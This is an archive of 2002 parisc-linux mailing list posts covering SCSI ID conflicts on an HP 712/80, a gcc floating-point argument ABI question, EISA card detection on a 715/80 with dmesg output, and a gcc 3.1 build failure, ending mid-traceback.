> > Check and make sure that none of your scsi ids are conflicting, don't
> > forget the controller is at id 7. Also check your cables and
termination.
> > If it still doesn't work try a different hard drive.
> >
> >
>
> --
>
============================================================================
===
>
> Phil Anderson
> UNIX Systems Administrator
> andersop@neverland.ncssm.edu
> The_13th_Ewok@hotmail.com
>
> "Go CRAZY? Don't mind if I do! Woowoowoowoo!" -Homer Simpson
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>




From - Thu Nov 08 21:21:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian Mockford" <brian.mockford@dartnet.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712/80 - 7cdroms - scsi prbl
Date: Fri, 11 Jan 2002 22:26:53 -0000
Lines: 109
Approved: news@gmane.org
Message-ID: <016101c19aef$184ac8a0$503b9ed4@brianmoc>
References: <Pine.LNX.4.33.0201102123200.22257-100000@bob.ncssm.edu> <001401c19aea$c3282f60$503b9ed4@brianmoc>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620954 750 80.91.229.3 (22 Nov 2014 01:49:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:14 +0000 (UTC)
Cc: "Sorin Ghinescu" <sghinesc@columbus.rr.com>,
	<parisc-linux@lists.parisc-linux.org>
To: "Brian Mockford" <brian.mockford@dartnet.co.uk>,
	"Phil Anderson" <andersop@neverland.ncssm.edu>,
	"Matt Taggart" <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 11 15:34:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlas.valhalla.net (atlas.valhalla.net [195.26.32.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id D88F3482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Jan 2002 15:34:26 -0700 (MST)
Original-Received: from brianmoc (212-158-59-80.telecity.valhalla.net [212.158.59.80])
	by atlas.valhalla.net (Postfix) with SMTP
	id CCE42DBB8C; Fri, 11 Jan 2002 22:34:23 +0000 (GMT)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13695

Oops,

"will change it to address 5"

Regards

Brian Mockford
----- Original Message -----
From: "Brian Mockford" <brian.mockford@dartnet.co.uk>
To: "Phil Anderson" <andersop@neverland.ncssm.edu>; "Matt Taggart"
<taggart@carmen.fc.hp.com>
Cc: "Sorin Ghinescu" <sghinesc@columbus.rr.com>;
<parisc-linux@lists.parisc-linux.org>
Sent: Friday, January 11, 2002 9:55 PM
Subject: Re: [parisc-linux] 712/80 - 7cdroms - scsi prbl


> Perhaps ---
>
> This is a classic symptom of a SCSI device set with the same address as
the
> SCSI controller - normally 7 in a narrow SCSI environment.
> Change the address of the CDROM to 4
> You need to identify the CDROM SCSI address jumpers. (usually 3 pairs of
> adjacent pins with plastic shorting jumpers on. If all three have jumpers
> then it is likely the device is set to address 7. remove the middle
jumper -
> this will change it to address 4. There may still be a conflict with
another
> device , but the seven drives should "go away"
>
> Regards
>
> Brian Mockford.
> ----- Original Message -----
> From: "Phil Anderson" <andersop@neverland.ncssm.edu>
> To: "Matt Taggart" <taggart@carmen.fc.hp.com>
> Cc: "Sorin Ghinescu" <sghinesc@columbus.rr.com>;
> <parisc-linux@lists.parisc-linux.org>
> Sent: Friday, January 11, 2002 2:24 AM
> Subject: Re: [parisc-linux] 712/80 - 7cdroms - scsi prbl
>
>
> >
> >
> > I've had this happen too, but it was on a Sun Ultra 30. The problem was
> > that the computer didn't recognize the CDROM correctly. Trying a
different
> > cdrom may fix the problem... It did for me.
> >
> > -phil
> >
> >
> >
> >
> > On Thu, 10 Jan 2002, Matt Taggart wrote:
> >
> > >
> > > "Sorin Ghinescu" writes...
> > >
> > > > Hi guys,
> > > > I'm trying to install parisc-linux on 712/80.
> > > > I don't know if this is actually an OS problem or a hardware problem
> but
> > > > you may have experienced it and could help me.
> > > > I'm booting from my external cd-rom but it seems that the kernel is
> > > > fooled by something because it creates 7 cd-rom devices for all the
> scsi
> > > > targets available leaving no room for the hd. If I switch the cd-rom
> off
> > > > then I get 7 hds!
> > > > Has anyone experienced this?
> > >
> > > Check and make sure that none of your scsi ids are conflicting, don't
> > > forget the controller is at id 7. Also check your cables and
> termination.
> > > If it still doesn't work try a different hard drive.
> > >
> > >
> >
> > --
> >
>
============================================================================
> ===
> >
> > Phil Anderson
> > UNIX Systems Administrator
> > andersop@neverland.ncssm.edu
> > The_13th_Ewok@hotmail.com
> >
> > "Go CRAZY? Don't mind if I do! Woowoowoowoo!" -Homer Simpson
> >
> >
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> >
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>




From - Thu Nov 08 21:21:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FWD: The problematic asm code
Date: Fri, 11 Jan 2002 17:37:27 -0500 (EST)
Lines: 37
Approved: news@gmane.org
Message-ID: <200201112237.g0BMbRd0023762@hiauly1.hia.nrc.ca>
References: <20020111152452.GD365@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620954 751 80.91.229.3 (22 Nov 2014 01:49:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:14 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: randolph@tausq.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 11 15:37:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id F2FFB4841
	for <parisc-linux@parisc-linux.org>; Fri, 11 Jan 2002 15:37:30 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g0BMbSFN023764;
	Fri, 11 Jan 2002 17:37:28 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g0BMbRd0023762;
	Fri, 11 Jan 2002 17:37:27 -0500 (EST)
In-Reply-To: <20020111152452.GD365@tausq.org> from "Randolph Chung" at Jan 11, 2002 07:25:04 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13696

> #include <stdio.h>
> void	out(const char *str, double x)
> {
> 	printf("%s: %f\n", str, x);
> }
> int	main(int argc, char **argv)
> {
> 	void	(*f)(const char *, double) = out;
> 	f("Calling via function pointer", 3.1415926535);
> 	out("Calling directly", 3.1415926535);
> 	return 0;
> }
> 
> This gives:
> % ./realind
> Calling via function pointer: 0.000000
> Calling directly: 3.141593
> 
> The RTL and the disassembly shows that in the function pointer case gcc
> tries to load the floating point argument into an integer register.

Gcc's behavior is correct.  The ABI specifies that arguments are passed
in general registers in dynamic calls.  This is most likely a linker problem.
The linker has to create the correct stub to copy the argument to a floating
register.  The test runs as expected with HP's som linker.  With the HP
assembler, gcc passes floats in both general and floating registers because
there is no way to specifiy argument locations in static functions.  With
GAS, gcc uses .PARAM to specify argument locations in static functions.

See pa.c around line 7236 for more information on what is being done.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:21:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hamish Moffatt <hamish@cloud.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to configure EISA network card in 715/80
Date: Sat, 12 Jan 2002 10:17:51 +1100
Lines: 35
Approved: news@gmane.org
Message-ID: <20020112101751.A27054@silly.cloud.net.au>
References: <3C3F06DD.6050409@verizon.net> <20020111154337.D26644@parcelfarce.linux.theplanet.co.uk> <3C3F0DD1.4040508@verizon.net> <20020111161705.E26644@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620955 755 80.91.229.3 (22 Nov 2014 01:49:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:15 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 11 16:18:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from silly.cloud.net.au (c20042.eburwd1.vic.optusnet.com.au [203.164.66.244])
	by dsl2.external.hp.com (Postfix) with ESMTP id 379B5482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Jan 2002 16:17:59 -0700 (MST)
Original-Received: from hamish by silly.cloud.net.au with local (Exim 3.12 #1 (Debian))
	id 16PAvn-00073p-00; Sat, 12 Jan 2002 10:17:51 +1100
Mail-Followup-To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20020111161705.E26644@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Fri, Jan 11, 2002 at 04:17:05PM +0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13697

On Fri, Jan 11, 2002 at 04:17:05PM +0000, Matthew Wilcox wrote:
> This is rather strange.  I see no EISA adapter.  Sure, we have Wax in
> its role as a bus adapter, with its HIL & RS-232 subdevices, but there's
> no EISA device.  Anyone know why this might be?
> 
> (iirc, it normally shows up as device 6).

FWIW, it's device #11 for me. On a 712/80:

Found devices:
1. Mirage 80 GSC Builtin Graphics (10) at 0xf8000000 [1], versions 0x10, 0x0, 0x85
2. Mirage 80 Core BA (11) at 0xf0100000 [2], versions 0x2b, 0x0, 0x81
3. Mirage 80 Core SCSI (10) at 0xf0106000 [2/0/1], versions 0x2b, 0x0, 0x82
4. Mirage 80 Core LAN (802.3) (10) at 0xf0107000 [2/0/2], versions 0x2b, 0x0, 0x8a
5. Mirage 80 Core RS-232 (10) at 0xf0105000 [2/0/4], versions 0x2b, 0x0, 0x8c
6. Mirage 80 Core Centronics (10) at 0xf0102000 [2/0/6], versions 0x2b, 0x0, 0x74
7. Mirage 80 Audio (10) at 0xf0104000 [2/0/8], versions 0x2b, 0x0, 0x7b
8. Mirage 80 Core PC Floppy (10) at 0xf010a000 [2/0/10], versions 0x2b, 0x0, 0x83
9. Mirage 80 Core PS/2 Port (10) at 0xf0108000 [2/0/11], versions 0x2b, 0x0, 0x84
10. Mirage 80 Core PS/2 Port (10) at 0xf0108100 [2/0/12], versions 0x2b, 0x0, 0x84
11. Mirage 80 Wax EISA BA (11) at 0xfc000000 [4], versions 0x2b, 0x0, 0x90
12. Pace Wax BA (11) at 0xf0200000 [5], versions 0x10, 0x0, 0x8e
13. Pace Core HIL (10) at 0xf0201000 [5/0/1], versions 0x10, 0x0, 0x73
14. Mirage 80 Wax RS-232 (10) at 0xf0202000 [5/0/2], versions 0x10, 0x0, 0x8c
15. Mirage 80  (0) at 0xfffbe000 [8], versions 0x619, 0x0, 0x4
16. Mirage 80 (1) at 0xfffbf000 [9], versions 0x4f, 0x0, 0x9

I don't have anything on the EISA bus that I'm aware of; nothing
that I need to use anyway.

Hamish
-- 
Hamish Moffatt VK3SB <hamish@debian.org> <hamish@cloud.net.au>



From - Thu Nov 08 21:21:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rafael Herrera <vze26vn8@verizon.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How to configure EISA network card in 715/80
Date: Fri, 11 Jan 2002 20:35:44 -0500
Lines: 176
Approved: news@gmane.org
Message-ID: <3C3F92F0.10701@verizon.net>
References: <3C3F06DD.6050409@verizon.net> <20020111154337.D26644@parcelfarce.linux.theplanet.co.uk> <3C3F0DD1.4040508@verizon.net> <20020111161705.E26644@parcelfarce.linux.theplanet.co.uk> <3C3F1127.8070507@verizon.net> <20020111162742.F26644@parcelfarce.linux.theplanet.co.uk>
Reply-To: raffo@neuronet.pitt.edu
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------070202080600060509010902"
X-Trace: ger.gmane.org 1416620955 763 80.91.229.3 (22 Nov 2014 01:49:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:15 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 11 18:35:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from out003pub.verizon.net (out003pub.verizon.net [206.46.170.103])
	by dsl2.external.hp.com (Postfix) with ESMTP id EDF74482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 11 Jan 2002 18:35:25 -0700 (MST)
Original-Received: from verizon.net (pool-151-201-226-132.pitt.east.verizon.net [151.201.226.132])
	by out003pub.verizon.net  with ESMTP
	for <parisc-linux@lists.parisc-linux.org>; id g0C1ZMG15342
	Fri, 11 Jan 2002 19:35:23 -0600 (CST)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.7+) Gecko/20020109
X-Accept-Language: en, es
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13698

This is a multi-part message in MIME format.
--------------070202080600060509010902
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Matthew Wilcox wrote:

> 
> Yep, I'm familiar with that board.  Normally when it's plugged in, PDC
> reports the EISA adapter.  Can you try unplugging it & replugging it to
> see if that helps?  You cold also try messing around at the PDC prompt,
> see whether anything can see it.  As you may have guessed, I have no
> idea what the problem is and I'm suggesting things at random :-)


I re-set the add-on card and this time the WAX card was detected. See 
the attached dmesg. The hp100 network card does not appear to be 
detected, though. If it's loaded, is there something I can look at to 
see if it's really there? Should it be reported as eth1?

As a side note, when turning on the machine I get these messages:


BootRom Version    1.6
Memory Size:  48 MB
----------------------------------------------------------------------------


(c) Copyright 1990-1994, Hewlett-Packard Company.
All rights reserved

Press <ESCAPE> to stop boot sequence.


Warning: One or more EISA cards could not be configured.
          Autoselect and search will ignore unconfigured
          cards.

<...>

Thanks.
-- 
      Rafael

--------------070202080600060509010902
Content-Type: text/plain;
 name="dmesg1"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="dmesg1"

Linux version 2.4.17-pa6 (raffo@inca) (gcc version 3.0.2 20010829 (prerelease)) #15 Fri Jan 11 20:20:05 EST 2002
FP[0] enabled: Rev 1 Model 13
The 32-bit Kernel has started...
Determining PDC firmware type: Snake.
model 00006190 00000481 00000000 00000000 7795c3b3 00000000 00000004 00000072 00000072
vers  0000000b
model 9000/715
Total Memory: 48 Mb
pagetable_init
On node 0 totalpages: 12288
zone(0): 12288 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Kernel command line: root=/dev/sda2 HOME=/ eisa_irq_edge=3,4,5,7,9,10,11,14,15 console=tty0 sti=0 sti_font=VGA8x16 TERM=linux
Console: colour dummy device 160x64
Calibrating delay loop... 79.66 BogoMIPS
Memory: 45348k available
Dentry-cache hash table entries: 8192 (order: 4, 65536 bytes)
Inode-cache hash table entries: 4096 (order: 3, 32768 bytes)
Mount-cache hash table entries: 1024 (order: 1, 8192 bytes)
Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes)
Page-cache hash table entries: 16384 (order: 4, 65536 bytes)
Searching for devices...
Found devices:
1. Mirage 80 GSC Builtin Graphics (10) at 0xf8000000 [1], versions 0x10, 0x0, 0x85
2. Mirage 80 Core BA (11) at 0xf0100000 [2], versions 0x2b, 0x0, 0x81
3. Mirage 80 Core SCSI (10) at 0xf0106000 [2/0/1], versions 0x2b, 0x0, 0x82
4. Mirage 80 Core LAN (802.3) (10) at 0xf0107000 [2/0/2], versions 0x2b, 0x0, 0x8a
5. Mirage 80 Core RS-232 (10) at 0xf0105000 [2/0/4], versions 0x2b, 0x0, 0x8c
6. Mirage 80 Core Centronics (10) at 0xf0102000 [2/0/6], versions 0x2b, 0x0, 0x74
7. Mirage 80 Audio (10) at 0xf0104000 [2/0/8], versions 0x2b, 0x0, 0x7b
8. Mirage 80 Core PC Floppy (10) at 0xf010a000 [2/0/10], versions 0x2b, 0x0, 0x83
9. Mirage 80 Core PS/2 Port (10) at 0xf0108000 [2/0/11], versions 0x2b, 0x0, 0x84
10. Mirage 80 Core PS/2 Port (10) at 0xf0108100 [2/0/12], versions 0x2b, 0x0, 0x84
11. Mirage 80 Wax EISA BA (11) at 0xfc000000 [4], versions 0x2b, 0x0, 0x90
12. Pace Wax BA (11) at 0xf0200000 [5], versions 0x10, 0x0, 0x8e
13. Pace Core HIL (10) at 0xf0201000 [5/0/1], versions 0x10, 0x0, 0x73
14. Mirage 80 Wax RS-232 (10) at 0xf0202000 [5/0/2], versions 0x10, 0x0, 0x8c
15. Mirage 80 (0) at 0xfffbe000 [8], versions 0x619, 0x0, 0x4
16. Mirage 80 (1) at 0xfffbf000 [9], versions 0x4f, 0x0, 0x9
CPU(s): 1 x PA7100LC (PCX-L) at 80.000000 MHz
Lasi version 0 at 0xf0100000 found.
LED display at f010c000 registered
Wax at 0xf0200000 found.
Wax: HIL Keyboard-NMI registered.
Wax EISA Adapter found at 0xfc000000
POSIX conformance testing by UNIFIX
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Initializing RT netlink socket
Enabled gecko-style soft power switch.
Starting kswapd
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xf0102800, irq 88 [PCSPP,TRISTATE]
STI word mode ROM at f0024000, hpa=f8000000
STI word mode ROM, id 2b4ded6d-40a00499, conforms to spec rev. 8.04
STI device: HPA208LC1280
Console: switching to colour frame buffer device 160x64
fb0: stifb 1280x1024-8 frame buffer device, id: 2b4ded6d, mmio: 0xf8100000
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
ttyS00 at iomem 0xf0105800 (irq = 90) is a 16550A
ttyS01 at iomem 0xf0202800 (irq = 121) is a 16550A
PS/2 keyboard port at 0xf0108000 (irq 69) found, device attached.
PS/2 psaux port at 0xf0108100 (irq 69) found, device attached.
Found HIL at 0xf0201000, IRQ 126
HIL: timed out, assuming no keyboard present.
Warning : device (10, 0x10, 0x0, 0x73) NOT claimed by HIL
lp0: using parport0 (interrupt-driven).
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
block: 128 slots per queue, batch=32
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
loop: loaded (max 8 devices)
Found i82596 at 0xf0107000, IRQ 87
eth0: 82596 at 0xf0107000, 08 00 09 3B F2 06 IRQ 87.
82596.c $Revision: 1.27 $
SCSI subsystem driver Revision: 1.00
53c700: Version 2.6 By James.Bottomley@HansenPartnership.com
scsi0: 53c710 rev 2 
scsi0 : LASI SCSI 53c700
scsi0: (3:0) Synchronous at offset 8, period 100ns
  Vendor: QUANTUM   Model: XP34550S          Rev: LXY1
  Type:   Direct-Access                      ANSI SCSI revision: 02
scsi0: (3:1) Synchronous at offset 8, period 100ns
  Vendor: NEC       Model: CD-ROM DRIVE:461  Rev: 2.3d
  Type:   CD-ROM                             ANSI SCSI revision: 02
scsi0: (4:1) Synchronous at offset 8, period 124ns
Attached scsi disk sda at scsi0, channel 0, id 3, lun 0
scsi0: (3:0) Enabling Tag Command Queuing
SCSI device sda: 8890760 512-byte hdwr sectors (4552 MB)
Partition check:
 sda: sda1 sda2 sda3 sda4
Attached scsi CD-ROM sr0 at scsi0, channel 0, id 4, lun 0
sr0: scsi-1 drive
Uniform CD-ROM driver Revision: 3.12
Lasi Harmony Audio rev. 0 at 0xf0104000, using IRQ 82
sticonsole_init: searching for STI ROMs
md: linear personality registered as nr 1
md: raid0 personality registered as nr 2
md: raid1 personality registered as nr 3
md: raid5 personality registered as nr 4
raid5: measuring checksumming speed
   8regs     :    60.800 MB/sec
   8regs_prefetch:    60.800 MB/sec
   32regs    :    88.400 MB/sec
   32regs_prefetch:    88.400 MB/sec
raid5: using function: 32regs_prefetch (88.400 MB/sec)
md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP, IGMP
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 4096 bind 8192)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
VFS: Mounted root (ext2 filesystem) readonly.
NOT FREEING INITMEM
Adding Swap: 249136k swap-space (priority -1)
eth0: link ok.

--------------070202080600060509010902--




From - Thu Nov 08 21:21:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FWD: gcc-3.0.3: ICE in reload_cse_simplify on hppa-linux
Date: Fri, 11 Jan 2002 22:12:12 -0800
Lines: 45
Approved: news@gmane.org
Message-ID: <20020112061212.GA21816@tausq.org>
References: <20020108073218.GC16533@tausq.org> <200201081545.g08FjX7A003677@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620955 766 80.91.229.3 (22 Nov 2014 01:49:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:15 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 11 23:12:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id F1FA2482A
	for <parisc-linux@parisc-linux.org>; Fri, 11 Jan 2002 23:12:27 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id gtpgkaaa for parisc-linux@parisc-linux.org; Fri, 11 Jan 2002 23:12:38 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16PHOm-0005ke-00; Fri, 11 Jan 2002 22:12:12 -0800
Content-Disposition: inline
In-Reply-To: <200201081545.g08FjX7A003677@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.25i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13699

> Then, I suggest trying with gcc-3.1 (prerelease).  It has quite a few
> bug fixes that 3.0.3 doesn't have although it hasn't been tested much
> on linux.  C and C++ definitely are in better shape.

Unfortunately 3.1 (i'm trying the 2002-01-07 snapshot) doesn't currently
build on hppa. It dies with:

stage1/xgcc -Bstage1/ -B/usr/hppa-linux/bin/ -c -DIN_GCC    -g -O2 -W
-Wall -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes
-Wtraditional -pedantic -Wno-long-long  -DHAVE_CONFIG_H    -I. -I.
-I../../src/gcc -I../../src/gcc/. -I../../src/gcc/config
-I../../src/gcc/../include ../../src/gcc/c-lex.c -o c-lex.o
../../src/gcc/c-lex.c: In function `lex_number':
../../src/gcc/c-lex.c:1293: Internal compiler error in
dwarf2out_frame_debug_expr, at dwarf2out.c:1535
Please submit a full bug report,
with preprocessed source if appropriate.
See <URL:http://www.gnu.org/software/gcc/bugs.html> for instructions.
make[2]: *** [c-lex.o] Error 1
make[2]: Leaving directory `/home/randolph/build/gcc/build/gcc'
make[1]: *** [stage2_build] Error 2

Traceback says:

#0  fancy_abort (file=0x36f504 "../../src/gcc/dwarf2out.c", line=1535, 
